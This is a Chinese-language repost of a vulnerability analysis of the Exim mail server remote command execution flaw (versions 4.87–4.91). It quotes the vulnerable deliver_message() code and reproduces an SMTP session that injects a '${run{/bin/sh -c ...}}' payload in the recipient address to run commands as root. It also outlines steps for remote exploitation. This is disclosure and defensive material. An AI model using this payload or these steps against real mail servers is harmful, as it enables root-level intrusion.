您好,登錄后才能下訂單哦!
Exim遠(yuǎn)程命令執(zhí)行漏洞的細(xì)節(jié)是什么,相信很多沒有經(jīng)驗(yàn)的人對此束手無策,為此本文總結(jié)了問題出現(xiàn)的原因和解決方法,通過這篇文章希望你能解決這個(gè)問題。
在對Exim郵件服務(wù)器最新版本變化進(jìn)行代碼審計(jì)時(shí)(https://en.wikipedia.org/wiki/Exim),我們發(fā)現(xiàn)了一個(gè)RCE漏洞,其影響版本為4.87-4.91。但是在這個(gè)RCE漏洞中,RCE指的是遠(yuǎn)程命令(Command)執(zhí)行,并不是傳統(tǒng)意義上的遠(yuǎn)程代碼(Code)執(zhí)行。攻擊者可以用root用戶身份通過execv()函數(shù)進(jìn)行遠(yuǎn)程命令執(zhí)行操作。
攻擊者利用該漏洞在服務(wù)端本地發(fā)起攻擊或者在非默認(rèn)配置下發(fā)起攻擊時(shí)并沒有什么其他的限制條件,如果攻擊者遠(yuǎn)程利用該漏洞,攻擊者必須和服務(wù)器保持7天的連接(每過幾分鐘需要向服務(wù)端傳送1字節(jié)數(shù)據(jù))。因?yàn)镋xim的代碼復(fù)雜,也有可能存在其他的攻擊方式或者更簡單更快速的攻擊方式。
Exim該漏洞從4.87(2016.4.6)版本出現(xiàn),因?yàn)槠渑渲弥?ifdef EXPERIMENTAL_EVENT改成了#ifndef DISABLE_EVENT。老版本中如果手動更改了EXPERIMENTAL_EVENT屬性為enable同樣可以觸發(fā)漏洞。該漏洞在4.92版本得到了修復(fù)。
漏洞產(chǎn)生位置在deliver_message()函數(shù):
if (process_recipients != RECIP_ACCEPT){ uschar * save_local = deliver_localpart; const uschar * save_domain = deliver_domain; deliver_localpart=expand_string(string_sprintf("${local_part:%s}", new->address)); deliver_domain =expand_string(string_sprintf("${domain:%s}", new->address)); (void) event_raise(event_action,US"msg:fail:internal", new->message); deliver_localpart = save_local; deliver_domain = save_domain; }
因?yàn)閑xpand_string()函數(shù)可以識別"${run{<command><args>}}"格式的字符命令,new->address為郵件收件人地址,攻擊者可以在本地發(fā)送郵件到"${run{...}}@localhost",localhost為Exim的本地域,攻擊者就可以以root用戶權(quán)限執(zhí)行命令,具體漏洞觸發(fā)效果如下:
john@debian:~$ cat /tmp/idcat: /tmp/id: No such file or directoryjohn@debian:~$ nc 127.0.0.1 25220 debian ESMTP Exim 4.89 Thu, 23 May 2019 09:10:41 -0400HELO localhost250 debian Hello localhost [127.0.0.1]MAIL FROM:<>250 OKRCPT TO:<${run{\x2Fbin\x2Fsh\t-c\t\x22id\x3E\x3E\x2Ftmp\x2Fid\x22}}@localhost>250 AcceptedDATA354 Enter message, ending with "." on a line by itselfReceived: 1Received: 2Received: 3Received: 4Received: 5Received: 6Received: 7Received: 8Received: 9Received: 10Received: 11Received: 12Received: 13Received: 14Received: 15Received: 16Received: 17Received: 18Received: 19Received: 20Received: 21Received: 22Received: 23Received: 24Received: 25Received: 26Received: 27Received: 28Received: 29Received: 30Received: 31.250 OK id=1hTnYa-0000zp-8bQUIT221 debian closing connectionjohn@debian:~$ cat /tmp/idcat: /tmp/id: Permission deniedroot@debian:~# cat /tmp/iduid=0(root) gid=111(Debian-exim) groups=111(Debian-exim)uid=0(root) gid=111(Debian-exim) groups=111(Debian-exim)
在上面的觸發(fā)漏洞示例中:
1.向郵件服務(wù)器發(fā)送超過received_headers_max默認(rèn)最大次數(shù)(30次)的"Received:"頭部數(shù)據(jù),導(dǎo)致服務(wù)器從將process_recipients設(shè)置為RECIP_FAIL_LOOP從而執(zhí)行漏洞代碼。
2.在測試中我們繞過了收件人地址中的非法字符檢測(blackslashes函數(shù))。
本地漏洞觸發(fā)的方法無法用于遠(yuǎn)程執(zhí)行,因?yàn)樵贓xim的準(zhǔn)入控制列表中默認(rèn)配置規(guī)定:收件人地址的本地部分(位于@符號前面的部分)應(yīng)當(dāng)是本地用戶。
john@debian:~$ nc 192.168.56.101 25220 debian ESMTP Exim 4.89 Thu, 23 May 2019 10:06:37 -0400HELO localhost250 debian Hello localhost [192.168.56.101]MAIL FROM:<>250 OKRCPT TO:<${run{\x2Fbin\x2Fsh\t-c\t\x22id\x3E\x3E\x2Ftmp\x2Fid\x22}}@localhost>550 Unrouteable address
我們最后找到了遠(yuǎn)程觸發(fā)漏洞的方式,第一種方式是在服務(wù)器非默認(rèn)配置的情況時(shí),第二種是服務(wù)器處于默認(rèn)配置情況下。第二種方式更復(fù)雜更難觸發(fā)。
1.Administrator用戶將ACL控制列表移除,本地觸發(fā)漏洞的方式可以同樣適用于遠(yuǎn)程漏洞觸發(fā)。
2.Exim配置中可以識別收件人地址中本地部分的標(biāo)簽("local_part_suffix = +* : -*" ),攻擊者可以構(gòu)造"balrog+${run{...}}@localhost"的收件人地址來觸發(fā)漏洞(balrog為某一個(gè)本地用戶)。
3.如果Exim配置中要將郵件中繼到遠(yuǎn)程域中,攻擊者就可構(gòu)造"${run{...}}@khazad.dum"的收件人地址來觸發(fā)漏洞(khazad.dum為Exim配置中的遠(yuǎn)程域的域名),因?yàn)镋xim服務(wù)器的控制列表只會檢查遠(yuǎn)程的地址(@符號后面的部分),不會對本地部分進(jìn)行檢測。
首先我們要利用"回彈"信息來解決ACL控制列表的用戶認(rèn)證問題。如果我們向郵件服務(wù)器發(fā)送的郵件無法送達(dá)到收件人,Exim會自動回彈一個(gè)發(fā)送失敗信息到發(fā)件人。這樣的話郵件發(fā)件人就變成了回彈信息的收件人,從而可以執(zhí)行命令。因?yàn)锳CL只會檢查原始發(fā)件人的域部分地址,并不會檢查本地部分。
然后回彈信息必須要通過漏洞代碼中的process_recipients != RECIP_ACCEPT檢查。因?yàn)槲覀儾荒軌蚩刂苹貜椥畔⒌念^部,所以無法重復(fù)發(fā)送超過30次。但是如果回彈信息7天后仍無法被成功發(fā)送,Exim會將process_recipients設(shè)置為RECIP_FAIL_TIMEOUT從而執(zhí)行漏洞代碼。
最后需要解決的問題就是回彈信息會在2天后被服務(wù)器自動丟棄,除非回彈信息被推遲發(fā)送(觸發(fā)臨時(shí)發(fā)送失敗策略),并且在4天后重發(fā)策略會將推遲發(fā)送地址變?yōu)槭“l(fā)送地址,使得服務(wù)器在7天內(nèi)放棄對回彈信息的丟棄操作,接下來是具體的操作方法:
1.我們向有漏洞的Exim服務(wù)器發(fā)送一封郵件地址不可達(dá)的郵件。郵件的收件人地址為"postmaster",發(fā)件人地址為"${run{...}}@khazad.dum",khazad.dum為我們自己可控的域。
2.因?yàn)猷]件無法送達(dá),Exim會連接到khazad.dum并且發(fā)送回彈信息,回彈信息的收件人為:"${run{...}}@khazad.dum"。
3在接下來的7天內(nèi),我們需要每過4分鐘向服務(wù)器發(fā)送1字節(jié)數(shù)據(jù),從而保持與服務(wù)器的連接。
4.在7天之后服務(wù)器返回發(fā)送失敗信息("550 Unrouteable address"),回彈信息會自動交由post_process_one()處理。該功能會將回彈信息自動丟棄,但是回彈信息存在時(shí)間超過了兩天后就不會被自動丟棄。
if (!*sender_address && message_age >= ignore_bounce_errors_after) setflag(addr, af_ignore_error);
在這里message_age并不是回彈信息的真實(shí)存在時(shí)長(超過7天),是該回彈信息加載到Exim服務(wù)器spool中的時(shí)長,可能只有幾秒或者幾分鐘。
5.最后Exim服務(wù)器會讀取spool中的回彈信息,將process_recipients設(shè)置為RECIP_FAIL_TIMEOUT,此時(shí)message_age為回彈信息的真是存在時(shí)長,從而可以執(zhí)行命令"${run{...}}@khazad.dum"。
注意:在漏洞測試過程中可以修改Exim配置信息中timeout_frozen_after和ignore_bounce_errors的時(shí)長。
看完上述內(nèi)容,你們掌握Exim遠(yuǎn)程命令執(zhí)行漏洞的細(xì)節(jié)是什么的方法了嗎?如果還想學(xué)到更多技能或想了解更多相關(guān)內(nèi)容,歡迎關(guān)注億速云行業(yè)資訊頻道,感謝各位的閱讀!
免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。